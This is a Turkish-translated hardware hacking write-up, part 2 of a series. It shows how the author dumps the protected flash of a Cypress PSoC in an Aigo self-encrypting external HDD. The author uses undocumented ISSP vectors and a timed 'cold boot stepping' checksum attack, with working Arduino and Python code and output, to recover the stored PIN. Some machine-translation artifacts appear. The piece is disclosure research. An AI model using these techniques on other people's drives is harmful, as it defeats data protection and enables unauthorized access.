Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak

Bu, harici kendi kendini şifreleyen sürücülerin hacklenmesiyle ilgili makalenin ikinci ve son kısmıdır. Geçenlerde bir meslektaşımın bana Patriot (Aigo) SK8671 sabit diskini getirdiğini, ben de onu tersine çevirmeye karar verdiğimi, şimdi de içinden çıkanları paylaşdığımı hatırlatayım. Devamını okumadan önce mutlaka okuyun ilk kısım makale.

4. Dahili PSoC flash sürücüsünden döküm almaya başlıyoruz
5. ISSP protokolü
– 5.1. ISSP nedir?
– 5.2. Gizemi Çözen Vektörler
– 5.3. PSoC ile iletişim
– 5.4. Çip üzerindeki kayıtların tanımlanması
– 5.5. Güvenlik bitleri
6. İlk (başarısız) saldırı: ROMX
7. İkinci Saldırı: Soğuk Önyükleme İzleme
– 7.1. Uygulama
– 7.2. Sonucun okunması
– 7.3. Flash ikili yeniden yapılandırma
– 7.4. PIN kodu saklama adresini bulma
– 7.5. 126 numaralı bloğun dökümü alınıyor
– 7.6. PIN kodu kurtarma
8. Sırada ne var?
9. Sonuç

Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak


4. Dahili PSoC flash sürücüsünden döküm almaya başlıyoruz

Yani her şey ([ilk bölümde]() belirlediğimiz gibi) PIN kodunun PSoC'nin flaş derinliklerinde saklandığını gösteriyor. Dolayısıyla bu flaş derinliklerini okumamız gerekiyor. Gerekli çalışmanın önü:

  • mikrodenetleyici ile “iletişimin” kontrolünü elinize alın;
  • bu “iletişimin” dışarıdan okumaya karşı korunup korunmadığını kontrol etmenin bir yolunu bulun;
  • korumayı atlamanın bir yolunu bulun.

Geçerli bir PIN kodu aramanın mantıklı olduğu iki yer vardır:

  • dahili flaş bellek;
  • SRAM, kullanıcı tarafından girilen pin koduyla karşılaştırmak için pin kodunun saklanabileceği yer.

İleriye baktığımda, ISSP protokolünün belgelenmemiş yeteneklerini tersine çevirdikten sonra, "soğuk önyükleme izleme" adı verilen bir donanım saldırısı kullanarak güvenlik sistemini atlayarak dahili PSoC flash sürücüsünün dökümünü almayı hala başardığımı not edeceğim. Bu, gerçek PIN kodunu doğrudan atmamı sağladı.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Son program kodu:

5. ISSP protokolü

5.1. ISSP nedir?

Bir mikro denetleyiciyle "iletişim" farklı anlamlara gelebilir: "satıcıdan satıcıya", seri protokol (örneğin, Microchip'in PIC'si için ICSP) kullanan etkileşime kadar.

Cypress'in bunun için ISSP (sistem içi seri programlama protokolü) adı verilen ve kısmen açıklanan kendi özel protokolü vardır. teknik özellik. US7185162 patent da bazı bilgiler veriyor. Ayrıca HSSP adında bir Açık Kaynak eşdeğeri de var (bunu biraz sonra kullanacağız). ISSP şu şekilde çalışır:

  • PSoC'yi yeniden başlatın;
  • sihirli sayıyı bu PSoC'nin seri veri pinine gönderin; harici programlama moduna girmek için;
  • "vektörler" adı verilen uzun bit dizeleri olan komutları gönderin.

ISSP belgeleri bu vektörleri yalnızca küçük bir avuç komut için tanımlar:

  • Başlatma-1
  • Başlatma-2
  • Başlatma-3 (3V ve 5V seçenekleri)
  • KİMLİK KURULUMU
  • OKUMA-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, burada dddddddd=blok #
  • TOPLU SİLME
  • PROGRAM-BLOK
  • KURULUMU DOĞRULA
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, burada DDDDDDDD = veri çıkışı, aaaaaa = adres (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, burada dddddddd = veri girişi, aaaaaa = adres (6 bit)
  • GÜVENLİ
  • SAĞLAMA TOPLAMI KURULUMU
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, burada DDDDDDDDDDDDDDDD = veri çıkışı: cihaz sağlama toplamı
  • BLOĞU SİL

Örneğin, Başlatma-2'nin vektörü:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tüm vektörler aynı uzunluğa sahiptir: 22 bit. HSSP belgelerinde ISSP hakkında bazı ek bilgiler bulunmaktadır: "Bir ISSP vektörü, bir dizi talimatı temsil eden bir bit dizisinden başka bir şey değildir."

5.2. Gizemi Çözen Vektörler

Burada neler olduğunu çözelim. Başlangıçta aynı vektörlerin M8C talimatlarının ham versiyonları olduğunu varsaydım, ancak bu hipotezi kontrol ettikten sonra operasyonların işlem kodlarının eşleşmediğini keşfettim.

Sonra yukarıdaki vektörü Google'da aradım ve karşılaştım bu Yazarın ayrıntıya girmese de bazı yararlı ipuçları verdiği bir çalışma: “Her talimat dört anımsatıcıdan birine (RAM'den okuma, RAM'e yazma, okuma yazmacı, yazma yazmacı) karşılık gelen üç bitle başlar. Daha sonra 8 adres biti, ardından 8 veri biti (okuma veya yazma) ve son olarak da üç durdurma biti vardır.

Daha sonra Denetleyici ROM (SROM) bölümünden çok yararlı bazı bilgiler toplayabildim. teknik kılavuz. SROM, kullanıcı alanında çalışan program kodu için yardımcı işlevler (Sistem çağrısına benzer şekilde) sağlayan, PSoC'de sabit kodlanmış bir ROM'dur:

  • 00h:SWBootSıfırlama
  • 01h: OkumaBloğu
  • 02h: WriteBlock
  • 03h: Blok Silme
  • 06:XNUMX: Tablo Okuma
  • 07:XNUMX: Sağlama Toplamı
  • 08:0: Kalibre EtXNUMX
  • 09:1: Kalibre EtXNUMX

Vektör adlarını SROM işlevleriyle karşılaştırarak, bu protokol tarafından desteklenen çeşitli işlemleri beklenen SROM parametreleriyle eşleştirebiliriz. Bu sayede ISSP vektörlerinin ilk üç bitinin kodunu çözebiliriz:

  • 100 => “cankurtaran”
  • 101 => “hatırlama”
  • 110 => “yanlış”
  • 111 => “dreg”

Ancak çip üzerindeki süreçlerin tam olarak anlaşılması yalnızca PSoC ile doğrudan iletişim yoluyla elde edilebilir.

5.3. PSoC ile iletişim

Dirk Petrautsky zaten taşınmış Cypress'in Arduino'daki HSSP kodunu kullanarak klavye kartının ISSP konnektörüne bağlanmak için Arduino Uno'yu kullandım.

Lütfen araştırmam sırasında Dirk'in kodunu biraz değiştirdiğimi unutmayın. Değişikliğimi GitHub'da bulabilirsiniz: burada ve depomda Arduino ile iletişim kurmak için ilgili Python betiği selvi_psoc_tools.

Böylece Arduino'yu kullanarak ilk önce "iletişim" için yalnızca "resmi" vektörleri kullandım. VERIFY komutunu kullanarak dahili ROM'u okumaya çalıştım. Beklendiği gibi bunu yapamadım. Muhtemelen flash sürücünün içinde okuma koruma bitlerinin etkinleştirilmesi nedeniyle.

Daha sonra hafıza/kayıtları yazmak ve okumak için kendi basit vektörlerimden birkaçını yarattım. Flash sürücü korunsa bile SROM'un tamamını okuyabileceğimizi lütfen unutmayın!

5.4. Çip üzerindeki kayıtların tanımlanması

"Ayrılmış" vektörlere baktıktan sonra cihazın, korumayı atlayarak doğrudan yürütülen M0C işlem kodlarını belirtmek için belgelenmemiş kayıtları (8xF0-8xFA) kullandığını keşfettim. Bu bana "ADD", "MOV A, X", "PUSH" veya "JMP" gibi çeşitli işlem kodlarını çalıştırmamı sağladı. Onlar sayesinde (kayıtlar üzerindeki yan etkilerine bakarak) belgesiz kayıtlardan hangilerinin aslında normal kayıtlar (A, X, SP ve PC) olduğunu tespit edebildim.

Sonuç olarak, HSSP_disas.rb aracı tarafından oluşturulan "demonte" kod şuna benzer: (Netlik sağlamak için yorumları ekledim):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Güvenlik bitleri

Bu aşamada zaten PSoC ile iletişim kurabiliyorum ancak flash sürücünün güvenlik bitleri hakkında hala güvenilir bilgiye sahip değilim. Cypress'in cihaz kullanıcısına korumanın etkin olup olmadığını kontrol etmek için herhangi bir araç sağlamaması beni çok şaşırttı. Sonunda Cypress tarafından sağlanan HSSP kodunun, Dirk'in değişikliğini yayınlamasından sonra güncellendiğini anlamak için Google'ı daha derinlemesine araştırdım. Ve bu yüzden! Bu yeni vektör ortaya çıktı:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu vektörü kullanarak (psoc.py'deki read_security_data'ya bakın), SRAM'deki tüm güvenlik bitlerini 0x80'de alırız; burada korumalı blok başına iki bit vardır.

Sonuç iç karartıcı: "harici okuma ve yazmayı devre dışı bırak" modunda her şey korunuyor. Bu nedenle, flash sürücüden hiçbir şey okuyamadığımız gibi, hiçbir şey de yazamıyoruz (örneğin, oraya bir ROM damper yüklemek için). Ve korumayı devre dışı bırakmanın tek yolu çipin tamamını tamamen silmektir. 🙁

6. İlk (başarısız) saldırı: ROMX

Ancak şu hileyi deneyebiliriz: Rastgele işlem kodları yürütme yeteneğine sahip olduğumuza göre, neden flash belleği okumak için kullanılan ROMX'i çalıştırmayalım? Bu yaklaşımın başarı şansı yüksektir. Çünkü SROM'dan veri okuyan (vektörler tarafından kullanılan) ReadBlock işlevi, bunun ISSP'den çağrılıp çağrılmadığını kontrol eder. Bununla birlikte, ROMX işlem kodu muhtemelen böyle bir denetime sahip olmayabilir. İşte Python kodu (Arduino koduna birkaç yardımcı sınıf ekledikten sonra):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Ne yazık ki bu kod çalışmıyor. 🙁 Daha doğrusu işe yarıyor ama çıktıda kendi işlem kodlarımızı alıyoruz (0x28 0x30 0x40)! Cihazın ilgili işlevselliğinin okuma korumasının bir unsuru olduğunu düşünmüyorum. Bu daha çok bir mühendislik numarasına benzer: harici işlem kodları yürütülürken ROM veri yolu geçici bir ara belleğe yönlendirilir.

7. İkinci Saldırı: Soğuk Önyükleme İzleme

ROMX numarası işe yaramadığı için, bu numaranın yayında açıklanan başka bir varyasyonunu düşünmeye başladım. "Mikrodenetleyicinin Firmware Korumasına Çok Fazla Işık Tutmak".

7.1. Uygulama

ISSP belgeleri, CHECKSUM-SETUP için aşağıdaki vektörü sağlar:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu esasen belgelerde (italikler benimdir) sunulduğu gibi SROM işlevi 0x07'yi çağırır:

Bu işlev sağlama toplamı doğrulamasını sağlar. Sıfırdan başlayarak, bir flash bankadaki kullanıcı tarafından belirlenen blokların sayısının 16 bitlik bir sağlama toplamını hesaplar. BLOCKID parametresi checksum hesaplanırken kullanılacak blok sayısını iletmek için kullanılır. "1" değeri yalnızca sıfır blok için sağlama toplamını hesaplar; halbuki "0", flash bankasının 256 bloğunun tamamının toplam sağlama toplamının hesaplanmasına neden olacaktır. 16 bitlik sağlama toplamı KEY1 ve KEY2 aracılığıyla döndürülür. KEY1 parametresi sağlama toplamının düşük dereceli 8 bitini saklar ve KEY2 parametresi yüksek dereceli 8 bitini saklar. Birden fazla flaş bankasına sahip cihazlarda sağlama toplamı işlevi her biri için ayrı ayrı çağrılır. Çalışacağı banka numarası FLS_PR1 kaydı tarafından belirlenir (içindeki hedef flaş bankasına karşılık gelen bit ayarlanarak).

Bunun basit bir sağlama toplamı olduğuna dikkat edin: baytlar basitçe birbiri ardına eklenir; süslü CRC tuhaflıkları yok. Ek olarak, M8C çekirdeğinin çok küçük bir kayıt kümesine sahip olduğunu bilerek, sağlama toplamını hesaplarken, ara değerlerin sonuçta çıktıya gidecek olan aynı değişkenlere kaydedileceğini varsaydım: KEY1 (0xF8) / KEY2 ( 0xF9).

Yani teoride saldırım şöyle görünüyor:

  1. ISSP üzerinden bağlanıyoruz.
  2. Sağlama toplamı hesaplamasını CHECKSUM-SETUP vektörünü kullanarak başlatıyoruz.
  3. Belirli bir T süresinden sonra işlemciyi yeniden başlatıyoruz.
  4. Mevcut C sağlama toplamını elde etmek için RAM okuyoruz.
  5. Her seferinde T'yi biraz artırarak 3. ve 4. adımları tekrarlayın.
  6. Önceki sağlama toplamı C'yi mevcut olandan çıkararak bir flash sürücüdeki verileri kurtarırız.

Ancak bir sorun var: Yeniden başlatmanın ardından göndermemiz gereken Başlatma-1 vektörü, KEY1 ve KEY2'nin üzerine yazıyor:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu kod, Calibrate1'i (SROM işlevi 9) çağırarak değerli sağlama toplamımızın üzerine yazar... Belki de programlama moduna girmek için sihirli sayıyı (yukarıdaki kodun başından itibaren) gönderebilir ve ardından SRAM'ı okuyabiliriz? Ve evet, işe yarıyor! Bu saldırıyı uygulayan Arduino kodu oldukça basittir:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay'i okuyun.
  2. Sağlama toplamı hesaplamasını çalıştırın (send_checksum_v).
  3. Belirli bir süre bekleyin; aşağıdaki tuzakları dikkate alarak:
    • Ne olduğunu öğrenene kadar çok zaman harcadım Gecikme Mikrosaniye yalnızca 16383 μs'yi aşmayan gecikmelerle doğru çalışır;
    • ve sonra tekrar aynı süreyi öldürdüm, ta ki mikrosaniye gecikmesinin, eğer ona bir giriş olarak 0 iletilirse, tamamen yanlış çalıştığını keşfedene kadar!
  4. PSoC'yi programlama moduna yeniden başlatın (başlatma vektörlerini göndermeden sadece sihirli sayıyı göndeririz).

Python'daki son kod:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Kısaca bu kodun yaptığı şey:

  1. PSoC'yi yeniden başlatır (ve ona sihirli bir sayı gönderir).
  2. Tam başlatma vektörlerini gönderir.
  3. Mikrosaniye cinsinden gecikmenin parametre olarak iletildiği Cmnd_STK_START_CSUM (0x85) Arduino işlevini çağırır.
  4. Sağlama toplamını (0xF8 ve 0xF9) ve belgelenmemiş kayıt 0xF1'i okur.

Bu kod 10 mikrosaniyede 1 kez yürütülür. 0xF1 buraya dahil edilmiştir çünkü sağlama toplamı hesaplanırken değişen tek kayıt odur. Belki de aritmetik mantık birimi tarafından kullanılan bir tür geçici değişkendir. Arduino yaşam belirtileri göstermeyi bıraktığında (nedenini bilmiyorum) picocom kullanarak Arduino'yu sıfırlamak için kullandığım çirkin hack'e dikkat edin.

7.2. Sonucun okunması

Python betiğinin sonucu şuna benzer (okunabilirlik için basitleştirilmiş):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Bununla birlikte bir sorunumuz var: Gerçek bir sağlama toplamı ile çalıştığımızdan dolayı boş bir bayt, okunan değeri değiştirmez. Bununla birlikte, hesaplama prosedürünün tamamı (8192 bayt) 0,1478 saniye sürdüğünden (her çalıştırıldığında küçük değişikliklerle), bu da bayt başına yaklaşık 18,04 μs'ye eşit olduğundan, bu süreyi uygun zamanlarda sağlama toplamı değerini kontrol etmek için kullanabiliriz. İlk çalıştırmalarda her şey oldukça kolay okunur çünkü hesaplama prosedürünün süresi her zaman hemen hemen aynıdır. Ancak bu dökümün sonu daha az doğrudur çünkü her çalıştırmadaki "küçük zamanlama sapmaları" bir araya gelerek önemli hale gelir:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Bu, her mikrosaniyelik gecikme için 10 döküm demektir. Bir flash sürücünün 8192 baytının tamamını boşaltmak için toplam çalışma süresi yaklaşık 48 saattir.

7.3. Flash ikili yeniden yapılandırma

Tüm zaman sapmalarını dikkate alarak flash sürücünün program kodunu tamamen yeniden oluşturacak kodu yazmayı henüz tamamlamadım. Ancak bu kodun başlangıcını zaten geri yükledim. Doğru yaptığımdan emin olmak için m8cdis kullanarak parçalarına ayırdım:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Oldukça makul görünüyor!

7.4. PIN kodu saklama adresini bulma

Artık sağlama toplamını ihtiyacımız olan zamanlarda okuyabildiğimize göre, aşağıdakileri yaptığımızda nasıl ve nerede değiştiğini kolayca kontrol edebiliriz:

  • yanlış PIN kodunu girin;
  • pin kodunu değiştirin.

İlk olarak, yaklaşık depolama adresini bulmak için, yeniden başlatmanın ardından 10 ms'lik artışlarla bir sağlama toplamı dökümü aldım. Sonra yanlış PIN'i girdim ve aynısını yaptım.

Pek çok değişiklik olduğu için sonuç pek hoş değildi. Ancak sonunda sağlama toplamının 120000 µs ile 140000 µs gecikme arasında değiştiğini tespit edebildim. Ancak orada gösterdiğim "pin kodu", kendisine 0 iletildiğinde garip şeyler yapan, DelayMicroseconds prosedürünün bir yapısı nedeniyle tamamen yanlıştı.

Ardından, neredeyse 3 saat geçirdikten sonra, SROM sistem çağrısı CheckSum'un, sağlama toplamı için blok sayısını belirten girdi olarak bir argüman aldığını hatırladım! O. PIN kodunun saklandığı adresi ve "yanlış girişimler" sayacını 64 baytlık bir bloğa kadar doğrulukla kolayca tespit edebiliriz.

İlk çalışmalarım aşağıdaki sonucu verdi:

Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak

Daha sonra PIN kodunu "123456" yerine "1234567" olarak değiştirdim ve şunu elde ettim:

Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak

Böylece PIN kodu ve hatalı deneme sayacı 126 numaralı blokta saklanıyor gibi görünüyor.

7.5. 126 numaralı bloğun dökümü alınıyor

Blok #126, sağlama toplamı hesaplamasının başlangıcından itibaren tam dökümümde 125x64x18 = 144000μs civarında bir yere yerleştirilmelidir ve oldukça makul görünüyor. Ardından, çok sayıda geçersiz dökümü manuel olarak eledikten sonra ("küçük zamanlama sapmalarının" birikmesi nedeniyle), şu baytları elde ettim (145527 μs gecikmeyle):

Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak

PIN kodunun şifrelenmemiş biçimde saklandığı oldukça açıktır! Bu değerler elbette ASCII kodlarında yazılmıyor ancak anlaşılan o ki kapasitif klavyeden alınan okumaları yansıtıyor.

Son olarak, hatalı girişim sayacının nerede saklandığını bulmak için birkaç test daha yaptım. İşte sonuç:

Aigo kendi kendini şifreleyen harici HDD sürücüsünü tersine çevirme ve hackleme. Bölüm 2: Cypress PSoC'den bir döküm almak

0xFF - "15 deneme" anlamına gelir ve her başarısız denemede azalır.

7.6. PIN kodu kurtarma

İşte yukarıdakileri bir araya getiren çirkin kodum:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

İşte uygulamasının sonucu:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Yaşasın! İşler!

Lütfen kullandığım gecikme değerlerinin muhtemelen kullandığım belirli bir PSoC ile ilgili olduğunu unutmayın.

8. Sırada ne var?

Aigo sürücümüz bağlamında PSoC tarafını özetleyelim:

  • okuma korumalı olsa bile SRAM'ı okuyabiliriz;
  • Soğuk önyükleme izleme saldırısı kullanarak ve doğrudan PIN kodunu okuyarak kaydırma önleme korumasını atlayabiliriz.

Ancak saldırımızın senkronizasyon sorunları nedeniyle bazı kusurları var. Aşağıdaki şekilde geliştirilebilir:

  • "soğuk önyükleme izleme" saldırısı sonucunda elde edilen çıktı verilerinin kodunu doğru şekilde çözmek için bir yardımcı program yazın;
  • daha kesin zaman gecikmeleri oluşturmak için bir FPGA aygıtı kullanın (veya Arduino donanım zamanlayıcılarını kullanın);
  • başka bir saldırı deneyin: kasıtlı olarak yanlış bir PIN kodu girin, RAM'i yeniden başlatın ve boşaltın; karşılaştırma için doğru PIN kodunun RAM'e kaydedileceğini umarak. Ancak Arduino'da bunu yapmak o kadar da kolay değil çünkü Arduino sinyal seviyesi 5 volt iken incelediğimiz kart 3,3 volt sinyalle çalışıyor.

Denenebilecek ilginç bir şey, okuma korumasını atlamak için voltaj seviyesiyle oynamaktır. Bu yaklaşım işe yarasaydı, kesin olmayan zamanlama gecikmelerine sahip bir sağlama toplamını okumaya güvenmek yerine, flash sürücüden kesinlikle doğru veriler alabilirdik.

SROM muhtemelen ReadBlock sistem çağrısı yoluyla koruma bitlerini okuduğundan, aynı şeyi şu şekilde yapabiliriz: tarif Dmitry Nedospasov'un blogunda - konferansta duyurulan Chris Gerlinski'nin saldırısının yeniden uygulanması "REcon Brüksel 2017".

Yapılabilecek bir diğer eğlenceli şey de kasayı çipten çıkarmak: SRAM dökümü almak, belgelenmemiş sistem çağrılarını ve güvenlik açıklarını belirlemek.

9. Sonuç

Dolayısıyla, bu sürücünün koruması arzulanan çok şey bırakıyor çünkü PIN kodunu depolamak için normal ("sertleştirilmiş değil") bir mikro denetleyici kullanıyor... Ayrıca, verilerle ilgili işlerin nasıl gittiğine (henüz) bakmadım Bu cihazda şifreleme!

Aigo için ne önerebilirsin? Birkaç şifreli HDD sürücü modelini analiz ettikten sonra 2015 yılında şunu yaptım: tanıtım Birkaç harici HDD sürücüsünün güvenlik sorunlarını incelediği ve bunlarda nelerin geliştirilebileceğine dair önerilerde bulunduğu SyScan'de. 🙂

Bu araştırmayı yapmak için iki hafta sonunu ve birkaç akşamı harcadım. Toplamda yaklaşık 40 saat. En başından (diski açtığımda) sonuna kadar (PIN kodu dökümü) sayıyorum. Aynı 40 saate bu makaleyi yazarken geçirdiğim süre de dahildir. Çok heyecan verici bir geziydi.

Kaynak: habr.com

Yorum ekle